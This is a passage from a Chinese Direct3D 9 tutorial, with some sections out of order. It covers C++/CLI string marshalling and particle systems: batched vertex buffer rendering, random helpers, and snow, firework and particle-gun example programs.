   const char* chars =
      (const char*)(Marshal::StringToHGlobalAnsi(s)).ToPointer();
   os = chars;
   Marshal::FreeHGlobal(IntPtr((void*)chars));
}

void MarshalString ( String ^ s, wstring& os ) {
   using namespace Runtime::InteropServices;
   const wchar_t* chars =
      (const wchar_t*)(Marshal::StringToHGlobalUni(s)).ToPointer();
   os = chars;
   Marshal::FreeHGlobal(IntPtr((void*)chars));
}

int main() {
   string a = "test";
   wstring b = L"test2";
   String ^ c = gcnew String("abcd");

   cout << a << endl;
   MarshalString(c, a);
   c = "efgh";
   MarshalString(c, b);
   cout << a << endl;
   wcout << b << endl;
}

2)将System::String转化为char*或w_char*
// convert_string_to_wchar.cpp
// compile with: /clr
#include < stdio.h >
#include < stdlib.h >
#include < vcclr.h >

using namespace System;

int main() {
   String ^str = "Hello";

   // Pin memory so GC can't move it while native function is called
   pin_ptr<const wchar_t> wch = PtrToStringChars(str);
   printf_s("%S\n", wch);

   // Conversion to char* :
   // Can just convert wchar_t* to char* using one of the
   // conversion functions such as:
   // WideCharToMultiByte()
   // wcstombs_s()
   //  etc
   size_t convertedChars = 0;
   size_t  sizeInBytes = ((str->Length + 1) * 2);
   errno_t err = 0;
   char    *ch = (char *)malloc(sizeInBytes);

   err = wcstombs_s(&convertedChars,
                    ch, sizeInBytes,
                    wch, sizeInBytes);
   if (err != 0)
      printf_s("wcstombs_s  failed!\n");

    printf_s("%s\n", ch);
}

14.3.2 例子程序:焰火系统

本例程实现了一个焰火例子系统,运行效果如图14.3所示:

火系统类定义如下:
    class cFirework : public cParticleSystem
    {
    public:
        cFirework(D3DXVECTOR3* origin, int num_particles);
        virtual void reset_particle(sParticleAttribute* attr);
        virtual void update(float time_delta);
        virtual void pre_render();
    };

构造函数需要提供一个点作为粒子系统中的原点,和系统中的粒子数,原点是火焰爆发的那个点。
    cFirework::cFirework(D3DXVECTOR3* origin, int num_particles)
    {
        m_origin        = *origin;
        m_size            = 0.9f;
        m_vb_num        = 2048;
        m_vb_offset     = 0;
        m_vb_batch_num    = 512;
        for(int i = 0; i < num_particles; i++)
            add_particle();
    }

reset_particle方法在原点位置初始化粒子系统,并在边界球内创建一个随机的速度,粒子系统中的每个例子有一个随机的颜色,我们定义粒子只能存活2秒。
    void cFirework::reset_particle(sParticleAttribute* attr)
    {
        attr->is_alive = true;
        attr->position = m_origin;
        D3DXVECTOR3 min = D3DXVECTOR3(-1.0f, -1.0f, -1.0f);
        D3DXVECTOR3 max = D3DXVECTOR3(1.0f, 1.0f, 1.0f);
        get_random_vector(&attr->velocity, &min, &max);
        // normalize to make spherical
            D3DXVec3Normalize(&attr->velocity, &attr->velocity);
        attr->velocity *= 100.0f;
        attr->color = D3DXCOLOR(get_random_float(0.0f, 1.0f),
                                get_random_float(0.0f, 1.0f),
                                get_random_float(0.0f, 1.0f),
                                1.0f);
        attr->age        = 0.0f;
        attr->life_time = 2.0f;    // lives for 2 seconds
    }

update方法更新每个粒子的位置,并在粒子超出自己的生活周期时杀死它。注意:这个系统不移除死掉的粒子,这么做是因为我们想产生一个新的火焰的时候,我们只要简单的重新设置已经存在的死了的火焰系统就可以了。这样我们不必频繁的去产生和释放粒子。
    void cFirework::update(float time_delta)
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            // only update living particles
            if(iter->is_alive)
            {
                iter->position += iter->velocity * time_delta;
                iter->age       += time_delta;
                if(iter->age > iter->life_time)    // kill
                    iter->is_alive = false;
            }
        }
    }

重载pre_render以使绘制粒子时与地板颜色融合。
    void cFirework::pre_render()
    {
        cParticleSystem::pre_render();
        m_device->SetRenderState(D3DRS_DESTBLEND, D3DBLEND_ONE);
    }

执行程序:
    #include "d3dUtility.h"
    #include "camera.h"
    #include "ParticleSystem.h"
    #include <cstdlib>
    #include <ctime>
    #pragma warning(disable : 4100)
    const int WIDTH  = 640;
    const int HEIGHT = 480;
    IDirect3DDevice9*    g_device;
    cParticleSystem*    g_exploder;
    cCamera                g_camera(AIR_CRAFT);
        ////////////////////////////////////////////////////////////////////////////////////////////////////
    bool setup()
    {   
        srand((unsigned int)time(NULL));
        // create firwworlk system
            D3DXVECTOR3 origin(0.0f, 10.0f, 50.0f);
        g_exploder = new cFirework(&origin, 6000);
        g_exploder->init(g_device, "flare.bmp");
        // setup a basic scnen, the scene will be created the first time this function is called.
            draw_basic_scene(g_device, 1.0f);
        // set the projection matrix
        D3DXMATRIX proj;
        D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI/4.0f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
        g_device->SetTransform(D3DTS_PROJECTION, &proj);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    void cleanup()
    {   
        delete g_exploder;
        // pass NULL for the first parameter to instruct cleanup
        draw_basic_scene(NULL, 0.0f);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    bool display(float time_delta)
    {
        // update the camera
        if( GetAsyncKeyState(VK_UP) & 0x8000f )
            g_camera.walk(4.0f * time_delta);
        if( GetAsyncKeyState(VK_DOWN) & 0x8000f )
            g_camera.walk(-4.0f * time_delta);
        if( GetAsyncKeyState(VK_LEFT) & 0x8000f )
            g_camera.yaw(-1.0f * time_delta);
        if( GetAsyncKeyState(VK_RIGHT) & 0x8000f )
            g_camera.yaw(1.0f * time_delta);
        if( GetAsyncKeyState('N') & 0x8000f )
            g_camera.strafe(-4.0f * time_delta);
        if( GetAsyncKeyState('M') & 0x8000f )
            g_camera.strafe(4.0f * time_delta);
        if( GetAsyncKeyState('W') & 0x8000f )
            g_camera.pitch(1.0f * time_delta);
        if( GetAsyncKeyState('S') & 0x8000f )
            g_camera.pitch(-1.0f * time_delta);   
        // update the view matrix representing the camera's new position/orientation
        D3DXMATRIX view_matrix;
        g_camera.get_view_matrix(&view_matrix);
        g_device->SetTransform(D3DTS_VIEW, &view_matrix);   
        g_exploder->update(time_delta);
        if(g_exploder->is_dead())
            g_exploder->reset();
        // render now
        g_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00000000, 1.0f, 0);
        g_device->BeginScene();
        D3DXMATRIX identity_matrix;
        D3DXMatrixIdentity(&identity_matrix);
        g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        draw_basic_scene(g_device, 1.0f);
        // order important, render firework last.
            g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        g_exploder->render();
        g_device->EndScene();
        g_device->Present(NULL, NULL, NULL, NULL);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
    {
        switch(msg)
        {
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_KEYDOWN:
            if(word_param == VK_ESCAPE)
                DestroyWindow(hwnd);
            break;
        }
        return DefWindowProc(hwnd, msg, word_param, long_param);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
    {
        if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_device))
        {
            MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
            return 0;
        }
        if(! setup())
        {
            MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
            return 0;
        }
        enter_msg_loop(display);
        cleanup();
        g_device->Release();
        return 0;
    }

下载源程序

14.3.3 例子程序:粒子枪

本例程实现了一个粒子枪系统,运行效果如图14.4所示:

下面是粒子枪系统的定义:
    class cParticleGun : public cParticleSystem
    {
    private:
        cCamera* m_camera;
    public:
        cParticleGun(cCamera* camera);
        virtual void reset_particle(sParticleAttribute* attr);
        virtual void update(float time_delta);
    };

构造函数需要提供一个照相机的位置点,这是因为系统需要知道照相机的位置及朝向,以决定在哪创建一个粒子。
    cParticleGun::cParticleGun(cCamera* camera)
    {
        m_camera        = camera;
        m_size            = 0.8f;
        m_vb_num        = 2048;
        m_vb_offset        = 0;
        m_vb_batch_num    = 512;
    }

reset_particle方法设置粒子的位置为当前照相机的位置,并且设置粒子运动的速度为照像机方向的100倍。这样,子弹将射向我们正在看的方向,粒子颜色为绿色。
    void cParticleGun::reset_particle(sParticleAttribute* attr)
    {
        attr->is_alive = true;
        D3DXVECTOR3 camera_dir;   
        m_camera->get_look(&camera_dir);
        attr->position      = m_camera->m_pos;    // change to camera position
            attr->position.y -= 1.0f;                // sightly below camera so it looks like we're carrying a gun
        // travels in the direction the camera is looking
            attr->velocity = camera_dir * 100.0f;
        attr->color        = D3DXCOLOR(0.0f, 1.0f, 0.0f, 1.0f);    // green
        attr->age        = 0.0f;
        attr->life_time = 1.0f;    // lives for 1 seconds
    }

update方法更新粒子的位置,并且杀死超过其生命周期的粒子,然后,我们搜索粒子列表删除已经死了的粒子。
    void cParticleGun::update(float time_delta)
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            iter->position += iter->velocity * time_delta;
            iter->age       += time_delta;
            if(iter->age > iter->life_time)   
                iter->is_alive = false;    // kill
        }
        remove_dead_particles();
    }

执行程序:
    #include "d3dUtility.h"
    #include "camera.h"
    #include "ParticleSystem.h"
    #include <cstdlib>
    #include <ctime>
    #pragma warning(disable : 4100)
    const int WIDTH  = 640;
    const int HEIGHT = 480;
    IDirect3DDevice9*    g_device;
    cParticleSystem*    g_gun;
    cCamera                g_camera(AIR_CRAFT);
        ////////////////////////////////////////////////////////////////////////////////////////////////////
    bool setup()
    {   
        srand((unsigned int)time(NULL));
        // create laser
        g_gun = new cParticleGun(&g_camera);
        g_gun->init(g_device, "flare_alpha.dds");
        // setup a basic scnen, the scene will be created the first time this function is called.
            draw_basic_scene(g_device, 1.0f);
        // set the projection matrix
        D3DXMATRIX proj;
        D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI/4.0f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
        g_device->SetTransform(D3DTS_PROJECTION, &proj);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    void cleanup()
    {   
        delete g_gun;
        // pass NULL for the first parameter to instruct cleanup
        draw_basic_scene(NULL, 1.0f);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    bool display(float time_delta)
    {
        // update the camera
        if( GetAsyncKeyState(VK_UP) & 0x8000f )
            g_camera.walk(4.0f * time_delta);
        if( GetAsyncKeyState(VK_DOWN) & 0x8000f )
            g_camera.walk(-4.0f * time_delta);
        if( GetAsyncKeyState(VK_LEFT) & 0x8000f )
            g_camera.yaw(-1.0f * time_delta);
        if( GetAsyncKeyState(VK_RIGHT) & 0x8000f )
            g_camera.yaw(1.0f * time_delta);
        if( GetAsyncKeyState('N') & 0x8000f )
            g_camera.strafe(-4.0f * time_delta);
        if( GetAsyncKeyState('M') & 0x8000f )
            g_camera.strafe(4.0f * time_delta);
        if( GetAsyncKeyState('W') & 0x8000f )
            g_camera.pitch(1.0f * time_delta);
        if( GetAsyncKeyState('S') & 0x8000f )
            g_camera.pitch(-1.0f * time_delta);   
        // update the view matrix representing the camera's new position/orientation
        D3DXMATRIX view_matrix;
        g_camera.get_view_matrix(&view_matrix);
        g_device->SetTransform(D3DTS_VIEW, &view_matrix);   
        g_gun->update(time_delta);
        // render now
        g_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00000000, 1.0f, 0);
        g_device->BeginScene();
        D3DXMATRIX identity_matrix;
        D3DXMatrixIdentity(&identity_matrix);
        g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        draw_basic_scene(g_device, 1.0f);
        // order important, render firework last.
            g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        g_gun->render();
        g_device->EndScene();
        g_device->Present(NULL, NULL, NULL, NULL);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
    {
        switch(msg)
        {
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_KEYDOWN:
            if(word_param == VK_ESCAPE)
                DestroyWindow(hwnd);
            // Note: we use the message system over GetAsyncKeyState because GetAsyncKeyState was adding
            // particles too fast.  The message system is slower and does not add them as fast. 
            // This isn't the best solution, but works for illustration purposes.
            if(word_param == VK_SPACE)
                g_gun->add_particle();
            break;
        }
        return DefWindowProc(hwnd, msg, word_param, long_param);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
    {
        if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_device))
        {
            MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
            return 0;
        }
        if(! setup())
        {
            MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
            return 0;
        }
        enter_msg_loop(display);
        cleanup();
        g_device->Release();
        return 0;
    }

下载源程序

14.2.1 绘制粒子系统

因为粒子系统是动态的,在每一个帧中我们需要更新系统中的粒子,对于渲染粒子系统的一种直观但效率低下的方法如下:

创建一个足够大的顶点缓存保存最大数量的粒子。

每一帧里执行:

A.       更新所有粒子。

B.       COPY所有活着的粒子到顶点缓存。

C.       绘制顶点缓存。

这个方法正确,不过不是最有效率的。第一,顶点缓冲必须足够大以保存系统中所有粒子。但是非常重要的是,当我们从列表拷贝所有粒子到顶点缓冲(步骤B)时,显卡却什么也不做。举个例子,假设我们系统有10,000个粒子,首先我们需要一个能容纳10,000个粒子的顶点缓冲,这是一个很大的内存。另外显卡将停着什么也不做直到列表中的10,000个粒子拷到顶点缓冲,直到我们调用DrawPrimitive。这个特定情况是CPU与显卡不同时工作的一个很好的例子。

更好的办法(SDK中点精灵例程中用到的方法)就象这样:

提示:这是一个简单的描述,但它说明了这一思想。它假定我们总是有500个粒子以填充一个缓存片段,但是这是不可能发生的,因为我们经常杀死并创建粒子,所以从一帧到另一帧粒子数量是变化的。举个例子,假设我们只剩下200个粒子要在当前帧拷贝并渲染。因为200个粒子不能填充整个缓存片段,我们用代码处理这个特定情形。这个特定情形只有在最后的缓存片段中才会出现,因为如果不是最后的片断,就意味着必然有500个粒子将被移到下一缓存片段。

创建一个合适尺寸的顶点缓存(能够保存2000个粒子),然后我们划分顶点缓存为几个小的块,就像这个例子,我们设置每个缓存片断的尺寸为500个粒子。

l然后创建一个全局变量 i = 0 ,用来记录片段。

每一帧里执行:

A.       更新所有粒子。

B.       直到所有粒子渲染完毕。

1.        如果顶点缓存没有满:

a         用D3DLOCK_NOOVERWRITE标记锁定缓存片段i

b         COPY 500个粒子到片段i

2.        如果顶点缓存满了:

a         从起始的地方开始顶点缓冲: i=0

b         用D3DLOCK_NOOVERWRITE标记锁定缓存段i

c          COPY 500个粒子到片段i

3.        渲染片段i.

4.        下一片段: i+ +

备注:顶点缓存是动态的, 因此我们能利用动态锁定标记D3DLOCK_NOOVERWRITE和 D3DLOCK_DISCARD。这两个标记允许我们锁定顶点缓存的某一部分。当顶点缓存中的其他部分被渲染时,它是不能渲染的。例如,假如我们正在使用D3DLOCK_NOOVERWRITE标记渲染片段0时, 当渲染片段0的时候我们能锁定并填充片段1。这样可以防止渲染的延迟。

这个方法更有效率。首先,我们减少顶点缓存的尺寸;然后, CPU与显卡在协调的工作。也就是说,当我们绘制一小批粒子时(graphics card work),同时拷贝另一小批粒子到顶点缓存 (CPU work)。这个动作是连续执行的,直到所有的粒子都被渲染完毕,就像你了解的一样, 显卡在全部顶点缓存被填充的时候是不用处于空闲状态的。

我们现在将注意力转向这一个渲染方案的实现,为了方便使用这个粒子系统的渲染方案, 我们使用 cParticleSystem 类中的下列数据成员:

m_vb_num—在给定时间内我们的顶点缓存能够保存的粒子数量。这个值与实际的粒子系统中的粒子数无关。

m_vb_offset—这个变量是顶点缓存中的偏移,在顶点缓存里我们将用它开始COPY下一批粒子,例如,如果第一批在缓存中是0到499,偏移到第二批COPY的开始处将是500。

m_vb_batch_size—定义一批缓存中的粒子数量。

我们现在介绍渲染方法的代码:
    void cParticleSystem::render()
    {
        // The render method works by filling a section of the vertex buffer with data, then we render that section. 
        // While that section is rendering we lock a new section and begin to fill that section. 
        // Once that sections filled we render it. This process continues until all the particles have been drawn. 
        // The benifit of this method is that we keep the video card and the CPU busy. 
        if(m_particles.empty())
            return;
        // set render states
        pre_render();
        m_device->SetTexture(0, m_texture);
        m_device->SetFVF(PARTICLE_FVF);
        m_device->SetStreamSource(0, m_vertex_buffer, 0, sizeof(sParticle));
        //
        // render batches one by one
        //
        // start at beginning if we're at the end of the vertex buffer
        if(m_vb_offset >= m_vb_num)
            m_vb_offset = 0;
        sParticle* v;
        m_vertex_buffer->Lock(
            m_vb_offset * sizeof(sParticle),
            m_vb_batch_num * sizeof(sParticle),
            (void**)&v,
            m_vb_offset ? D3DLOCK_NOOVERWRITE : D3DLOCK_DISCARD);
        DWORD num_particles_in_batch = 0;
        // until all particles have been rendered
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            if(! iter->is_alive)
                continue;
            // copy a batch of the living particles to the next vertex buffer segment
            v->position = iter->position;
            v->color    = (D3DCOLOR) iter->color;
            v++;    // next element
            num_particles_in_batch++;
            // if this batch full?
            if(num_particles_in_batch == m_vb_batch_num)
            {
                // draw the last batch of particles that was copied to the vertex buffer
                    m_vertex_buffer->Unlock();
                m_device->DrawPrimitive(D3DPT_POINTLIST, m_vb_offset, m_vb_batch_num);
                //
                // While that batch is drawing, start filling the next batch with particles.
                //
                // move the offset to the start of the next batch
                    m_vb_offset += m_vb_batch_num;
                // Don't offset into memory that is outside the vb's range.
                // If we're at the end, start at the beginning.
                if(m_vb_offset >= m_vb_num)
                    m_vb_offset = 0;
                m_vertex_buffer->Lock(
                    m_vb_offset * sizeof(sParticle),
                    m_vb_batch_num * sizeof(sParticle),
                    (void**)&v,
                    m_vb_offset ? D3DLOCK_NOOVERWRITE : D3DLOCK_DISCARD);
                num_particles_in_batch = 0;    // reset for new batch
            }
        }
        m_vertex_buffer->Unlock();
        // Its possible that the LAST batch being filled never got rendered because the condition
        // (num_particles_in_batch == m_vb_batch_num) would not have been satisfied. 
        // We draw the last partially filled batch now.   
        if(num_particles_in_batch)
            m_device->DrawPrimitive(D3DPT_POINTLIST, m_vb_offset, num_particles_in_batch);
        m_vb_offset += m_vb_batch_num;    // next block
            post_render();                    // reset render states
    }
14.2.2 随机

如果我们模拟雪花,不能让所有雪花以完全相同的方式落下。我们要让它们按相似的方式落下而不是完全相同的方式。为了使粒子系统的随机功能更简单,我们增加了下列两个函数到d3dUtility.h/cpp文件。

第一个函数在[low_bound, high_bound]区间内随机的返回一个float类型值:
    float get_random_float(float low_bound, float high_bound)
    {
        if(low_bound >= high_bound)    // bad input
            return low_bound;
        // get random float in [0, 1] interval
        float f = (rand() % 10000) * 0.0001f;
        // return float in [low_bound, high_bound] interval
        return f * (high_bound - low_bound) + low_bound;
    }

第二个函数在边界盒的范围内,输出一个随机的向量。
    void get_random_vector(D3DXVECTOR3* out, D3DXVECTOR3* min, D3DXVECTOR3* max)
    {
        out->x = get_random_float(min->x, max->x);
        out->y = get_random_float(min->y, max->y);
        out->z = get_random_float(min->z, max->z);
    }

14.3具体的粒子系统:雪、火、粒子枪

现在让我们用cParticleSystem类开始一个具体的粒子系统,为了说明用意,这些系统的设计很简单,没有用到cParticleSystem类所提供的所有灵活性。我们实现雪、火、粒子枪系统。雪系统模拟下落的雪花,火系统模拟看上去像火焰的爆炸,粒子枪系统从照相机位置向对面发射出粒子(用键盘)。
14.3.1 例子程序:雪

雪系统类定义如下:
    class cSnow : public cParticleSystem
    {
    public:
        cSnow(cBoundingBox* bounding_box, int num_particles);
        virtual void reset_particle(sParticleAttribute* attr);
        virtual void update(float time_delta);
    };

构造函数提供一个点给边界盒结构,边界盒是粒子系统的成员。边界盒描述雪花在哪个范围内(体积范围)下落,如果雪花出了边界盒,它将被杀死并再生。这样,雪系统始终能保存有同样数量的激粒子,构造函数的实现:
    cSnow::cSnow(cBoundingBox* bounding_box, int num_particles)
    {
        m_bounding_box    = *bounding_box;
        m_size            = 0.25f;
        m_vb_num        = 2048;
        m_vb_offset        = 0;
        m_vb_batch_num    = 512;
        for(int i = 0; i < num_particles; i++)
            add_particle();
    }

同样注意:我们指定顶点缓存的尺寸,每一批的尺寸和开始的偏移。

reset_particle方法创建一个雪花,在x、z轴随机的位置并在边界盒的范围内。设置y轴高度为边界盒的顶部。我们给雪花一个速度,以便让雪花下落时稍稍向左倾斜。雪花是白色的。
    void cSnow::reset_particle(sParticleAttribute* attr)
    {
        attr->is_alive = true;
        // get random x, z coordinate for the position of the snow flake
            get_random_vector(&attr->position, &m_bounding_box.m_min, &m_bounding_box.m_max);
        // no randomness for height (y-coordinate). 
        // Snow flake always starts at the top of bounding box.
            attr->position.y = m_bounding_box.m_max.y;
        // snow flakes fall downwards and slightly to the left
            attr->velocity.x = get_random_float(0.0f, 1.0f) * (-3.0f);
        attr->velocity.y = get_random_float(0.0f, 1.0f) * (-10.0f);
        attr->velocity.z = 0.0f;
        // white snow flake
        attr->color = WHITE;
    }

update方法更新粒子和粒子间的位置,并且测试粒子是否在系统的边界盒之外,如果它已经跳出边界盒,就再重新创建。
    void cSnow::update(float time_delta)
    {
        for(list<sParticleAttribute>::iterator iter = m_particles.begin(); iter != m_particles.end(); iter++)
        {
            iter->position += iter->velocity * time_delta;
            // is the point outside bounds?
            if(! m_bounding_box.is_point_inside(iter->position))
                // recycle dead particles, so respawn it.
                    reset_particle(&(*iter));
        }
    }

执行程序:
    #include "d3dUtility.h"
    #include "camera.h"
    #include "ParticleSystem.h"
    #include <cstdlib>
    #include <ctime>
    #pragma warning(disable : 4100)
    const int WIDTH  = 640;
    const int HEIGHT = 480;
    IDirect3DDevice9*    g_device;
    cParticleSystem*    g_snow;
    cCamera                g_camera(AIR_CRAFT);
        ////////////////////////////////////////////////////////////////////////////////////////////////////
    bool setup()
    {   
        srand((unsigned int)time(NULL));
        // create snow system
        cBoundingBox bounding_box;
        bounding_box.m_min = D3DXVECTOR3(-10.0f, -10.0f, -10.0f);
        bounding_box.m_max = D3DXVECTOR3(10.0f, 10.0f, 10.0f);
        g_snow = new cSnow(&bounding_box, 5000);
        g_snow->init(g_device, "snowflake.dds");
        // setup a basic scnen, the scene will be created the first time this function is called.
            draw_basic_scene(g_device, 1.0f);
        // set the projection matrix
        D3DXMATRIX proj;
        D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI/4.0f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
        g_device->SetTransform(D3DTS_PROJECTION, &proj);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    void cleanup()
    {   
        delete g_snow;
        // pass NULL for the first parameter to instruct cleanup
        draw_basic_scene(NULL, 0.0f);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    bool display(float time_delta)
    {
        // update the camera
        if( GetAsyncKeyState(VK_UP) & 0x8000f )
            g_camera.walk(4.0f * time_delta);
        if( GetAsyncKeyState(VK_DOWN) & 0x8000f )
            g_camera.walk(-4.0f * time_delta);
        if( GetAsyncKeyState(VK_LEFT) & 0x8000f )
            g_camera.yaw(-1.0f * time_delta);
        if( GetAsyncKeyState(VK_RIGHT) & 0x8000f )
            g_camera.yaw(1.0f * time_delta);
        if( GetAsyncKeyState('N') & 0x8000f )
            g_camera.strafe(-4.0f * time_delta);
        if( GetAsyncKeyState('M') & 0x8000f )
            g_camera.strafe(4.0f * time_delta);
        if( GetAsyncKeyState('W') & 0x8000f )
            g_camera.pitch(1.0f * time_delta);
        if( GetAsyncKeyState('S') & 0x8000f )
            g_camera.pitch(-1.0f * time_delta);   
        // update the view matrix representing the camera's new position/orientation
        D3DXMATRIX view_matrix;
        g_camera.get_view_matrix(&view_matrix);
        g_device->SetTransform(D3DTS_VIEW, &view_matrix);   
        g_snow->update(time_delta);
        // render now
        g_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0x00000000, 1.0f, 0);
        g_device->BeginScene();
        D3DXMATRIX identity_matrix;
        D3DXMatrixIdentity(&identity_matrix);
        g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        draw_basic_scene(g_device, 1.0f);
        // order important, render snow last.
            g_device->SetTransform(D3DTS_WORLD, &identity_matrix);
        g_snow->render();
        g_device->EndScene();
        g_device->Present(NULL, NULL, NULL, NULL);
        return true;
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
    {
        switch(msg)
        {
        case WM_DESTROY:
            PostQuitMessage(0);
            break;
        case WM_KEYDOWN:
            if(word_param == VK_ESCAPE)
                DestroyWindow(hwnd);
            break;
        }
        return DefWindowProc(hwnd, msg, word_param, long_param);
    }
        ///////////////////////////////////////////////////////////////////////////////////////////////////////
    int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
    {
        if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_device))
        {
            MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
            return 0;
        }
        if(! setup())
        {
            MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
            return 0;
        }
        enter_msg_loop(display);
        cleanup();
        g_device->Release();
        return 0;
    }

下载源程序

14.2粒子系统的组成

粒子系统是粒子的集合,用来保存和显示这些粒子。粒子系统维护所有粒子的全部属性,影响系统中的所有粒子:粒子的尺寸,起始的位置及应用在粒子上的纹理等。粒子系统的方法负责更新、显示、杀死和创建粒子。

虽然不同的具体(与抽象是相对的)粒子系统有不同的行为,我们归纳并找到一些所有的粒子系统共有的基本属性,我们把这些公共的属性放到一个抽象的cParticleSystem基类,它是我们所有的具体粒子系统的父类,现在让我们看一下cParticleSystem类:
    class cParticleSystem
    {
    protected:
        IDirect3DDevice9*            m_device;
        D3DXVECTOR3                    m_origin;
        cBoundingBox                m_bounding_box;
        float                        m_emit_rate;        // rate new particles are added to system
        float                        m_size;                // size of particles
            IDirect3DTexture9*            m_texture;
        IDirect3DVertexBuffer9*     m_vertex_buffer;
        list<sParticleAttribute>    m_particles;
        int                            m_max_particles;    // max allowed particles system can have
        // following three data elements used for rendering the particle system efficiently
        DWORD    m_vb_num;        // particle number in vertex buffer
        DWORD    m_vb_offset;    // offset in vertex buffer to lock
        DWORD    m_vb_batch_num;    // number of vertices to lock starting at m_vb_offset
    public:
        cParticleSystem();
        virtual ~cParticleSystem();
        virtual bool init(IDirect3DDevice9*    device, const char* texture_filename);
        virtual void reset();
        // sometimes we don't want to free the memory of a dead particle, but rather respawn it instead.
        virtual void reset_particle(sParticleAttribute* particl_attr) = 0;
        virtual void add_particle();
        virtual void update(float time_delta) = 0;
        virtual void pre_render();
        virtual void render();
        virtual void post_render();
        bool is_empty();
        bool is_dead();
    protected:
        virtual void remove_dead_particles();
    };

一些数据成员:

·        m_origin—粒子系统的原点, 这是粒子系统产生时的位置。

·        m_bounding_box—创建粒子系统使用的边界盒,用于限制粒子的活动范围。例如,假如我们让雪系统只落在一个围绕高山的峰顶的体积内,我们会定义一个包括这个体积的边界盒, 出界的粒子将会被杀死。

·        m_emit_rate—新增加到系统中的粒子的速度。通常的标准是每秒。

·        m_size—系统中所有粒子的尺寸。

·        m_particles—系统中粒子属性的一个列表。 我们用这个列表创建,释放及更新粒子。 当我们准备画粒子时, 我们COPY列表节点的一部分到顶点缓存并画粒子,同时我们COPY另外一批粒子,然后重复这一过程直到绘制完所有粒子。

·        m_max_particles—在给定的时间内,系统中允许的粒子最大数。例如,如果创建粒子的速度比释放快的话, 随着时间的增长粒子的数量将会是巨大的,这个成员将避免出现这样的问题。

·        m_vb_num—在给定的时间内顶点缓存中能够保存的粒子的数量,这个值与实际的粒子系统中的粒子数量无关。

注意:m_vb_offset和m_vb_batch_num数据成员在渲染粒子系统时使用,我们在稍后讨论。

方法:

cParticleSystem/ ~cParticleSystem—用来初始化默认值和用来释放设备接口 (vertex buffer, texture)。
    cParticleSystem::cParticleSystem()
    {
        m_device        = NULL;
        m_vertex_buffer = NULL;
        m_texture        = NULL;
    }
    cParticleSystem::~cParticleSystem()
    {
        safe_release<IDirect3DVertexBuffer9*>(m_vertex_buffer);
        safe_release<IDirect3DTexture9*>(m_texture);
    }

init—这个方法做与设备无关的初始化工作,比如创建用来保存点精灵的顶点缓存或创建纹理。
    bool cParticleSystem::init(IDirect3DDevice9* device, const char* texture_filename)
    {
        // Vertex buffer's number does not equal the number of particles in our system. 
        // We use the vertex buffer to draw a portion of our particles at a time. 
        // The arbitrary number we choose for the vertex buffer is specified by the m_vb_num variable.
        m_device = device;
        HRESULT hr;
        hr = device->CreateVertexBuffer(
                m_vb_num * sizeof(sParticle),
                D3DUSAGE_DYNAMIC | D3DUSAGE_POINTS | D3DUSAGE_WRITEONLY,
                PARTICLE_FVF,
                D3DPOOL_DEFAULT,    // D3DPOOL_MANAGED can't be used with D3DUSAGE_DYNAMIC
                &m_vertex_buffer,
                NULL);
        if(FAILED(hr))
        {
            MessageBox(NULL, "CreateVertexBuffer() - FAILED", "ParticleSystem", MB_OK);
            return false;
        }
        hr = D3DXCreateTextureFromFile(device, texture_filename, &m_texture);
        if(FAILED(hr))
        {
            MessageBox(NULL, "D3DXCreateTextureFromFile() - FAILED", "ParticleSystem", MB_OK);
            return false;
        }
        return true;
    }

